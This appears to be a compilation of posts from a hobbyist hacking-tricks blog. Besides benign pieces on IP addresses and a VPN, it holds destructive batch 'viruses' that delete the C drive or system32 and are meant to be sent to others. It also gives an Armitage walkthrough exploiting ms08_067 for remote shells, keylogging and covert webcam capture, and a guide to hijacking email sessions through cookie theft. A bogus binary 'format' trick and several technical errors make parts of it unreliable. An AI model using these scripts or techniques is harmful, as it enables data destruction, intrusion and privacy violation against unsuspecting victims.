Get Free and Official License of Avast Internet Security for 3 years

Avast is one of the most security software. Most products of Avast are not free. But now Avast give an offer of Avast Internet Security for 3 years. In this product, many features are provided like: Block Viruses and Spywares, Block Hacker Attacks, Stops annoying Spam etc.
You can only take free license for 3 years, when you Invite 21 friends. This offer is for 1 PC and 3 years. If you invite 7 friends, this offer is for 1 PC and 1 years. If you invite 14 friends, this offer is for 1 PC and 2 years.

    FREE

Features:

1. Block Viruses and Spyware.
2. Block Phishing scams.
3. Blocks hacker attacks.
4. Runs risky programs safely.
5. Secures personal Data.
6. Stops Annoying Spam.
7. Secures Shopping and banking.
8. Allow Assistance from a geek friend.

How to Get this offer:

• Go to Avast Homepage, you can see Account on top at right side.
• When Account tab will open, Log in to your account. If you not registered, you can also Log in with your Facebook Account.
• After Logging in to your account, you will see welcome homepage. Now click onRecommendations tab and you will be go to next page.
• Now you can see Facebook, Twitter, Google+ and email button to share your generated link. You can also choose Link button and post it on Social Profiles.
• More you Invite your friends, more the time of License. By inviting 7 friends, you can save $49.99. If you invite 14 friends, you can save $69.99. If you invite 21 friends, you can save $99.99.

Facebook Password Trick: Three passwords to Access your Facebook account

Yes, You can access your Facebook account with 3 different passwords . Facebook allows the following variation of your passwords:

1. Your Original Password:
   Let us assume that you are using “PassWord” as password.  Yeah, you can log in with your default password 
2. Your original password with the case reversed(Toggle case):
   This one will be interesting one.  You can toggle the case of your Password and use it.For instance, your are using “PassWord” as your default password. In this password, ‘P’ and ‘W’ is Capitalized.if you toggle the password case, then your password will become “PASsWoRD“.
3. Your original password with the first letter capitalized:If the first character of your password is in lower case and you change it to Upper case, you can still login with this one.For instance, the original password is “passWord” .  In this password, the first character ‘p’ is in lower case.  If you capitalize the first character, then your password is “PassWord“.

The reason for 3 Passswords for your facebook account
It is not security flaw.  It is just feature provided by Facebook.

“We accept three forms of the user’s password to help overcome the most common reasons that authentic logins are rejected. In addition to the original password” Zdnet quoted as Facebookspokesperson saying. “ we also accept the password if a user inadvertently has caps lock enabledor their mobile device automatically capitalizes the first character of the password.”

Three different Usernames:
1.  You can use your Facebook ’Username’ as user name(if you have created)
2.  You can use your email address
3.  You can use use your mobile number ( if you have added your mobile number in Fb).

Yeah, i know this is one of the old one. Now only i come to know about this and like to share with TRiX HUB readers. Hope you enjoyed this article..!

How to Create a Harmless Funny Virus-Continuously eject CD/DVD drives

First of all its 101% working (self tested)

This trick will create a code which will continuously eject CD/DVD drives. If you put them back in, it will pop them out again untill u don’t know how to stop it( explained blow the code ” how to stop it” ). Copy this code and paste it in Notepad.

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Now and save it as cdrom.vbs or *.vbs

Double click to open this file and you will be impressed by this awesome trick. This virus program is not harmful you can try freely.

How to stop it

• Open task manager or use ctrl+alt+del
• click on process tab.
• select wscript.exe
• click on end process.

If  this tricks is enjoyable then share this to your friend.

IP address – The Complete Guide | What is an IP address

• What is an ip address?

An Ip address is a label assigned to every device connected to a network or internet.Any device connected to internet could use this label to connect to another device connected to internet.

Types of ip addresses :-

1) Dynamic ip : These types of ip are always changing. Mostly broadband connections have these type of IP. These are assigned automatically by your ISP.

2) Static ip : These ip addresses don’t change. They remain same. You either had to buy one from your ISP or sometimes it comes free with your plan.

3)Public ip : Public ip address makes your device accessible to other users of internet. Anyone on internet can connect to your server using your PUBLIC IP.
To check your Public IP visit :
whatismyip.com

4)Private ip: Private ip is an ip address assigned to devices on a private network like computers present in your school/college have different Private ip address. It is used to communicate between computers on a Private network connected using hub/switch or any other way. To check your Private ip :

4.a)Open cmd .
4.b)Type ipconfig and hit enter.
4.c)The number shown against Ip Address is your Private ip.
You could assign Private ip on your own by :-
4.1)Double click on network connection icon in taskbar.
4.2)Click on Properties.
4.3)Click on internet protocol(tcp/ip).
4.4)Tick on “use this configuration”.
4.5)Enter your details.
4.6)Click on Ok.

Example scenario:

1) Let us suppose a computer Lab A in a school containing 20 computers all connected to each other using a switch and connected to a Modem[ all 20 to a single modem].
Then their *Private ip* address could be checked at cmd via point 4). This  *Private ip* is  mostly *STATIC* .
But their *Public ip* will be same as they are connected to internet via same route ie same modem. This *Public ip* will be assigned by the ISP and may or may not be *Dynamic*.

2) Let us take another computer lab B with same configuration as lab A. Now let us suppose computer xyz. It will definately have a different *Public Ip* as compared to Lab A, but it may or may not have same *Private ip* as that of any computer in Lab A.
There is one more thing, two devices could never have same Private ip connected to a same network. But two devices connected to different network may or may not have same Private ip.
This mean two computers either from lab A or B, both could have same *Public ip* but can never have same *Private ip*.

Example Explained :
Xyz computer From lab A:
Private ip : aaa.bbb.ccc.ddd [Generally STATIC] Public Ip : xxx.yyy.zzz.www [Anything assigned by ISP, could be *DYNAMIC* or *STATIC* depending on your subscription]

abcd From Lab B
Private Ip : eee.fff.ggg.hhh [this could be same as Private IP of XYZ in Lab A, Generally STATIC] Public Ip : qqq.eee.www.ttt [This could never be same as that of lab A, anything assigned by ISP, could be *DYNAMIC* or *STATIC* depending on your subscription]  

Virus program to destroy system

Previous we tell you How to create prank virus program you can check here

How to create prank Virus Program

Today we tell you to create a new virus program to destroy system.

Follow these steps:

• Open Notepad.
• Simply Type “@echo off del c:\\windows\system 32″ without quotes.
• Save this program as name.bat like virus.bat .

Send it to your enemies,friend via messenger

Note: This is a virus program so make sure you do nt open it. basically this is a command to delete your system 32 files which is important.Never try it out my self LOL

Secure your Internet connection with SecurityKISS Tunnel.

Security kiss vpn is a free and reliable vpn to change our ip address. We can use security kiss VPN on numerous platforms including windows, Linux, and Mac os. It creates an encrypted terminal and works as an elite proxy. Data, which we send from our computer goes from an encrypted terminal and receiver of the packets only get the server ip address, which we had selected while using security kiss.

SecurityKiss are a leading VPN provider to protect privacy, ensure anonymity and bypass Internet restrictions. A good news is for SecurityKISS still has a free plan for all Internet surfers. Although they have a free 300MB daily bandwidth limited for free users, SecurityKISS is a very good free VPN for security surfing. SecurityKISS can also be used for accessing Facebook, Twitter and other blocked sites. Since watching Youtube videos needs a lot of bandwidth, a paid SecurityKISS membership is better for accessing Youtube.

In this guide I will guide you from how to download SecurityKISS, install SecurityKISS and use SecurityKISS.

• Firstly Click here to download securitykiss.
• After Download install it to your operating system.
• After Installation  Open security kiss and from menu bar click on “Option” and finally click on “change server”. A security kiss window will pop-up for server selection, Check mark any of the desired server.
• Finally click on the big green “Connect” Button to get connect with the desired server or in simple terms, to change your ip address. NOTE: If you are unable to connect with one server than, try to connect with another server. Please be patient while connecting to the SecurityKISS VPN server. After your computer successfully connected to the SecurityKISS VPN server, you can see that your external IP has been changed. and connected status in green.
• You can change a the VPN server from the SecurityKISS control panel. You need to disconnect current connection and select a new server from the list. SecurityKISS has servers located in the US, UK and German and france.
• Now You can go to Aplusproxy.com and check your IP before and after connecting to SecurityKISS VPN server.
• You don’t need to change the configuration of your web browser and now you can access blocked websites.
• SecurityKISS is an easy to use free VPN. They have US, UK, German and France servers for your choice. I would say this is a very good free VPN service.

Format Hard Disk by Using Notpad

Hello Friends, here a Notepad trick to format your hard disk. With this trick you can Format your Hard Disk Drive with notpad Or Destroy someone Hard Disk Drive with Notpad. To format HDD, binary digits are used. These are written in Notepad, which is very common text editor. Notepad is also used to create web pages or simple documents.          

Computer only understands binary language like 0 and 1. Computer neither understand Assembly Language nor High Level Language. So this code is written in Binary Digits or Binary Language. If you like this post please subscribe to us for new updates.

Steps to create this trick:-

• To Open Notepad, click on Start, All Programs, Accessories and then click on Notepad.
• Copy and paste the below code in Notepad.

01001011000111110010010101010101010000011111100000

• Now click on Save Button or simply press Ctrl + S to save your Document.

Note:- When you Save your Document, make sure that you must Save your Document with .exe extension. Like format.exe

Note:- This is for Educational Purpose Only. Do it with your own Risk.

Learn How To Make Dangerous Virus In A Minute

We have also Posted some virus making tricks. You can also read How to Create a Harmless Funny Virus-Continuously eject CD/DVD drives.

 Today we teach you to create dangerous virus to delete completely C drive. In this post i will teach you to make simple yet very powerfull or you can say harmfull computer virus using a batch file. No software is required to make this virus, Noteapad is enough for it. The good thing about this virus is it is not detected by any AntiVirus.

What will this virus do ?  

You will create this virus using batch file programming. This virus will delete the C Drive completely. The good thing about this virus is that it is not detected by antivirus. 

How to Make the virus ?    

1. Open Notepad and copy below code into it.

@Echo off

Del C:\ *.* |y

 2. Save this file as virus.bat (Name can be anything but extension  .bat is must)  

 3. Now, running this file will delete all the content of C Drive.

Now You can send this file to someone via Email or messenger.

Warning: Please don’t try to run on your own computer or else it will delete all the content of your C Drive. I will not be responsible for any damage done to your computer.

Backtrack 5 : Ethical Hacking Tutorial

Backtrack 5 : Using Armitage For Hacking.

Stealing Files,Downloading Keystrokes,Controlling Webcam from remote Locations,ETC by Armitage.

Armitage is an GUI Platform for Metaspoilt and in technical terms,it is a script-able red team collaboration tool for Metasploit that visualizes targets, recommends exploits, and exposes the advanced post-exploitation features in the framework.It saves time and is very powerful in commencing Metaspoilt attacks.

So Now about our attack today : 

What Do We Need ?

Latest Metasploit framework.
Oracle Java 1.7
Preferably Internet on LAN

Brains and Patience.

Now Lets Us Start Our Hack Today.

Step 1 -Open armitage on Backtrack 5:

By Going To : Backtrack > Exploitation Tools > Network Exploitation Tools > Metasploit Framework > armitage.

Step 2 : Connect Armitage:

Click on the connect Button .

Step 3 : Connecting Armitage :

Now use the patience part,and stretch your legs,it takes some time to connect.

Step 4 :  Armitage Window :

It has 3 Panels -

Target Panel 

Module Panel

Tabs Panel 

Step 5 : Finding the alive host on the Network :

Now you will search for Host on you network,By Going to Hosts -> Nmap Scan -> Quick Scan (OS detect).This will perform a quick scan to detect the host and their operating systems and vulnerabilities.

Step 6 : Inputting The Scan Range :

Now You have to insert scan range,that is you LAN ip range,Most preferably it would start with 192.168.0.- or 10.0.0.-.NOTE : the ( - ) resembles the computers on LAN.

Start the Scan.

Step 7 : Scan Complete:

After the scan has completed,if their are any other PC's on your network on,then they would be visible in the Target Pane (the Big Black box on the upper right).

Step 8 : Finding Attacks :

Now the Fun Parts starts,Click on Attacks tab in your toolbar and select Find Attacks (Not hail mary,you might not be ready for that).Start the scan and wait till it completes.

Step 9 : Set the vulnerability :

Right Click on the Host icon (windows pc) -> Select attacks -> smb -> ms08_067_netapi  vulnerability . 

Now a window should pop,Click on the check-box that says "Use  a reverse connection" .

Start Attack

Step 10 : The Final Result :

So did the Host Icon Turn Red ? That Means YOU PASSED.

So You Did The Hacking Part Right,Now let us mess with the client.

Hack 1 - Opening Command Prompt :

Right click on the host -> Meterpreter1 ->Interact -> Command Shell 

Now You are In Their Command Prompt,You can now change,rename,delete,create files on their pc now.Search Google for some powerful windows commands.

Hack 2 - Start an KEYLOGGER :

Click on the Meterpreter2 -> Explore -> Log Keystrokes.

Now you will receive what the victim is typing.

Hack 3 - Take An Screen Shot :

Click on the Meterpreter2 -> Explore ->Screenshot.

Now you can see what is on their Facebook wall or Google mail accounts.

Hack 4 -Browse Files :

Right click -> Meterpreter2 -> Explore > Browse Files .

Now you can interact with all the files on victim PC via a GUI.

Hack 5 - Get in His Webcam (my favorite part).

Right click -> Meterpreter2 ->Explore -> Webcam shot

Catch that guy making out ,and have fun with him later.

How to Hack Email Account with Cookie stealing

Today I am writing about a new topic on Techotoys - Cookie Stealing. I observed that cookie stealing is neglected by some fellow hackers (even I was one of them). But, recently, I discovered that cookie stealing can be pretty handy to hack anEmail account. In the following article, I have covered basics ofhow to hack an Email account using Cookie Stealing.

How to hack Email account:

If you are a newbie and don't know about cookie, then for your information, Cookie is a piece of text stored on user computer by websites visited by the user. This stored cookie is used by webserver to identify and authenticate the user. So, if you steal this cookie (which is stored in victim browser) and inject this stealed cookie in your browser, you can imitate victim identity to webserver and enter hisEmail account easily. This is called Session Hijacking. Thus, you can easily hack Email account using such Cookie stealing hacks. 

Tools needed for Cookie stealing attack:

Cookie stealing attack requires two types of tools:

1. Cookie capturing tool
2. Cookie injecting/editing tool

1. Cookie capturing tool:Suppose, you are running your computer on a LAN. The victim too runs on same LAN. Then, you can use Cookie capturing tool to sniff all the packets to and from victim computer. Some of the packets contain cookie information. These packets can be decoded using Cookie capturing tool and you can easily obtain cookie information necessary to hackEmail account. Wireshark and HTTP Debugger Pro softwares can be used to capture cookies. 

Update: Check out my Wireshark tutorial for more information on cookie capturing tool.

2. Cookie injecting/editing tool:

Now, once you have successfully captured your victim cookies, you have inject those cookies in your browser. This job is done using Cookie injecting tool. Also, in certain cases after injection, you need to edit cookies which can be done by Cookie editing tool. This cookie injection/editing can be done using simple Firefox addons Add N Edit Cookies and Greasemonkey scripts. I will write more on these two tools in my future articles.

Drawbacks of Cookie Stealing:

Cookie Stealing is neglected because it has some serious drawbacks:

1. Cookie has an expiry time i.e. after certain trigger cookie expires and you cannot use it to hijack victim session. Cookie expiry is implemented in two ways:
   1. By assigning specific timestamp(helpful for us).
   2. By checking for triggers like user exiting from webbrowser. So, in such cases, whenever user exits from his browser, his cookie expires and our captured cookie becomes useless.
2. Cookie stealing becomes useless in SSL encrypted environment i.e. for https (Secure HTTP) links. But, most Email accounts and social networking sites rarely use https unless vicitm has manually set https as mandatory connection type.
3. Also, most cookies expire once victim hits on LogOut button. So, you have to implement this Cookie stealing hack while user is logged in. But, I think this is not such a serious drawback because most of us have the habit of checking "Remember Me". So, very few people actually log out of their accounts on their PCs.

So friends, this was a short tutorial on basics of how to hack Email account using Cookie Stealing.As I have stated, Cookie stealing has some disadvantages. But, I think Cookie stealing is a handy way to hack an Email account. In my next articles, I will post detailed tutorial to hack Facebook and Gmail accounts using Cookie stealing. If you have any problem in this tutorial on how to hack Email account using Cookie stealing, please mention it in comments.

Enjoy Cookie stealing trick to hack Email account... 

IP Addresses Explained

What is an IP address?

Think of an IP address like you do a mailing address. It's basically the exact same thing. Consider this, when you send out a letter, what do you do? You put that letter in an envelope, write the address, put a stamp on it, stick in the mailbox and put that red flag up on your mailbox, right?

Apply this to computers: that letter is data, the envelope is the TCP/IP header which is actually wrapped around the packet, just like an envelope. The address would be the IP address, located on that header. You stick that in your mailbox, or in the computer world, a buffer, and it gets sent off to the recipient.

All the traveling that a letter goes through, a packet goes through. A letter sent through the mail is taken from your mailbox to your local post office. From there, it's sent to a state post office distribution center. Then it gets sent to a regional center. If it's an international letter goes to one of the national ones. The letter then goes back down this chain until it's in the recipient's mailbox. At each stop, a decision is made on whether or not that that particular distribution center should send it to a higher level, or if it can put that letter in a bin at it's location which will be sent to the next lower level.

Lets say I want to send you a letter, we both live in India but in different cities. I send out the letter, my local post office looks at the address and determines that it can't deliver the letter to the recipient so it sends it to the state post office. The state post office says yes, I can deliver this to the letter bin that belongs to that city and it'll go out with the next truck. Your city post office gets the letter and sees the address, says yeah he's in our area so we can definately send this to him. It gets put on a truck with other letters for people in your area and the driver puts it in your mailbox.

Same thing happens with a packet, except there are no internet truck drivers and it happens a helluva lot quicker. Your packet gets sent to your ISP who routes it back to a local address if it can, or sends it to the next higher ISP until it's on the Internet Backbone. Once there, if the recipient is still in your country, it'll go to his regional ISP, and so on and so forth until he gets it.

Why all this talk about regular mail? Again, an IP address is nothing more, nothing less than an address. What about routers, we have internal IP addresses! Ahh good question, think of an internal IP address the same as having a post office box. The post office gets it and decides to route it to you that way, your physical address obscured to the sender.

How the addressing scheme works?

Okay, now that we've established what an IP Address is I'll show you how addresses are assigned.

IP addresses are broken up into several classes, A to E.

Class A addresses are 1.xxx.xxx.xxx - 126.xxx.xxx.xxx
Class B addresses are 128.XXX.xxx.xxx - 191.XXX.xxx.xxx
Class C addresses are 192.XXX.XXX.xxx - 223.XXX.XXX.xxx
Class D addresses are 224.xxx.xxx.xxx - 239.xxx.xxx.xxx
Class E addresses are 240.xxx.xxx.xxx - 254.xxx.xxx.xxx

Okay, what the hell is all that? I'll explain:

IPv4 address consist of 4 octets. For an A Class address, the first octet, ranging from 1 - 126, describes the network you're sending a packet to. The rest of the octets describe the node. (Kind of like a City, and a Mailbox, respectively.) (A node is just another name for a device connected to the network.)

In a Class B address, the first two octets represent the network and the last two describe the node.
Wait a minute! What happened to 127? Addresses starting with 127 are loopback addresses. That means it points to your computer. Go ahead, ping 127.xxx.xxx.xxx where the xxx is between 1 and 255. It will resolve to 127.0.0.1 and give you a reply that's hopefully less than 1 milisecond.

Anyway, Class C addresses are start with 192, go up to 223, and the first three octets describe the network and the last octet describes the node.

Okay, break for a second. A network with only 254 nodes?!? (0 is used kind of like a wildcard and 255 is broadcast.) That's right, Class C networks are usually given to small time ISP's and organizations who only have a few nodes on their network. Big companies like IBM and the government are given Class A addresses because they're bound to have lots of nodes. When the internet first kicked off, lots companies were told that certain address ranges would be reserved for them. This has caused problems because 1) Those companies aren't using nearly all of those addresses and 2) we're running out of addresses to assign people. The solution for this is IPv6, where we have 6 octets instead of 4, increasing the number of addresses exponentially.

Alrighty, back to classes. Class D addresses are for multicasting and Class E addresses are reserved for future use.

Ports

If I had a dime for every time I've heard, "I scanned xyz and found this many open ports!! How do I exploit them?".

Ports are logical addresses on a computer where applications send and receive data. That's it, just like IP addresses, ports are nothing more and nothing less than addresses. To put it in the same perspective as regular mail, think of your computer as an office building and applications on your computer as different companies within that office building. Now your office building isn't going to have different mailrooms for each company. They'll receive mail and put it in your company's bin and you come and get it. Your computer has 66,536 some odd ports, plenty for all of your applications, so your office building has some 66,536 odd mail bins for companies in your building. Will you use all of these ports? Most definately not.

So you scanned a computer and lets say it has 100 ports open. Great, that just means that your "office building" has 100 mail bins, it doesn't mean that there are companies in your "office building" who use those mail bins. You have to have some kind of application running that relies on a service that uses that port in order to do ANYTHING with it. Just because you found xyz port open, that doesn't mean that you're getting instant access to their computer. If there's no service listening to that port, you're doing the same thing as sending letters to a mailbox that no one checks. 

Also, think of a Firewall as a person in the basement mailroom analyzing each letter to determine whether it's junkmail or something that a company doesn't want. Either that or he can hold all mail for that company until instructed otherwise.

Exploiting Services

I'm going to touch briefly on this subject for two reasons. 1) I'm not the most knowledgeable person on the subject and 2) It's illegal unless you own the computer you're exploiting or have the expressed permission of it's owner.

Okay in order to exploit a service, you first have to find a vulnerability. That isn't always easy because the remote computer more than likely isn't going to just give you the source code for the service running on a port you want to attack. So if you're wanting to find vulnerabilities in their service, you're going to have to guesstimate what kind of service is running on that port and get your own and analyze it's code. There's other methods of testing for vulnerabilities. Most well known vulnerabilities (read: ones you find on the internet) are patched already. You can test these and see if they're patched, but chances are that if the admin on the other side is even a little vigilant, he'll keep his software updated.

Okay, so he is vigilant and all known vulnerabilities are patched, what now? You poke around and see if you can find one of your own. This varies from service to service and application to application so I'm not going to go into it. (That and I don't know that much about the subject myself.)

Once you find a vulnerability, you'll need to exploit it. Depending on what kind of service it is, this is usually going to involve some code writing. And more often than not, you're going to have to do it their way, meaning write code that the remote service will understand. Again, this varies from service to service and application to application.

Packets

Okay, now that we know a little bit about an IP address, I'm going to go a little more into depth. If having an IP address is like having a mailbox, then it'd be pretty useless unless we sent or received letters, right? That's basically what packets are.

A packet can be broken up into a few sections. The first section is the header, which contains a bunch of info. The most obvious is the destination IP address, duh. Some others are version, source address, TTL, type, and others.

Some are obvious, some aren't. TTL is an abbreviation of Time To Live. It's a value in milliseconds describing how long that packet has to live before it "dies" or gets discarded. The thing with the internet is, it's not extremely reliable. You get disconnects, reroutes and all kinds of crazy stuff that happens. If packets didn't have a TTL, we'd have a crapload of lost packets floating around aimlessly looking for a host which could very well have found its way to a dumpster, especially if it was made by Dell. The best way we've found to avoid these lost packets is to have them commit suicide if they can't find their destination. Kinda depressing, huh?

Anyway, there's about as many different types of packets as there are protocols, which is a bunch so I'm not going to list many. Some are: TCP, UDP, IMCP, SCTP, RTP, etc.

There's an ID number for each packet. That's so the host can know how to rearrange them so that the application using that data can understand it. One thing I almost forgot to explain. When you send data over the wire, it's not exactly streamed. It's broken up into chunks (packets), so that in the likely event that one of those packets becomes corrupted, your computer resends that one packet instead of the whole file again. Makes sense, right?

Alright, then there's the body or payload of the packet. Guess what goes in there? If you guessed data you're right! That's not all that can go in there though. With error checking, one of the things checked is the size of the packet. Now if the last packet only has 10 bytes of data in it, and it's sent like that, the host looks at it, says "That's a lot smaller than the others, something's wrong, send it again" to your computer. So in addition to data, you have what's called 'padding' to fill the void and make the packet the appropriate size.

The trailer (or footer, depending on how you look at it) contains some error checking information and signifies the end of the packet.

Types of packets

Okay, there's bunches of these but I'm only going to list a few, when I start getting paid to write tutorials, I'll quit being so effing lazy, alright?

TCP, probably the most common type of packet out there. It stands for Transmission Control Protocol and is your basic payload packet with error checking. Want more? Go buy a 2 inch book on it, I've only got so much time before I fall asleep typing.

UDP, User Datagram Protocol. It's kinda the same as TCP but without error checking. Now why on earth would I want a protocol that doesn't use error checking?!?!? You may ask. Cool, I'll tell ya in two words, then explain: STREAMING MEDIA. If you miss a frame or two from a streaming video, you probably won't even notice, right? UDP is widely used in online games, media streaming and other applications where all the data doesn't have to be uncorrupted all the time, if you can think of any. Ever play a game and get that annoying "There is a problem with your connection...." message? Yeah and then your helicopter suddenly appears upside down and an inch from the ground? Yeah I hate that too but that's because you're losing a lot of UDP packets for whatever reason.

ICMP otherwise known as the Internet Control Message Protocol. This is how your ping application works. That's not its only use though. It's used to send error messages, timestamps, and address masks.

RTP, Realtime Transport Protocol. Alright, all I knew about this was it was like UDP in the aspect that it deals with media. Come to find out, it deals largely with VOIP (Voice Over IP) and was originally designed for multicasting. Gotta love Wikipedia.

Packet switching and Circuit Switching

Briefly, packet switching is basically using multiple routes and let the packets find their own way. This is your normal flavor of internet. This way, if one of those routes closes due to a sledge being taken to a stubborn server, the packets just take another route.

Circuit switching is when your computer finds what is supposidly the best path to a destination and sends the packets down that route. ATM (Asynchronous Transfer Mode) uses this by sending really tiny packets and it's supposed to be really really fast. The obvious downsides are that 1) your computer has to find the route first and 2) you know what happens when that route closes.

Traceroute

Speaking of routes, there's a program on most PC's called tracert which determines how many hops a packet takes to get from your computer to it's destination. A "hop" is when your packet goes from one server to another. The thing with hops is, they slow you down. RIP, I think, is the routing protocol that only allows 15 hops or something. I degress, the more hops, the more processing that has to be done forwarding your packet and that's why you slow down.

So anyway, traceroute tells you how many hops it takes to get to a destination and it can even list the servers on which your packets hop. It works by incrimenting a packet's TTL by one second each time it hits a server. When a server receives a traceroute packet with a TTL of one second, it sends an ICMP packet back, letting traceroute know the who/when/where.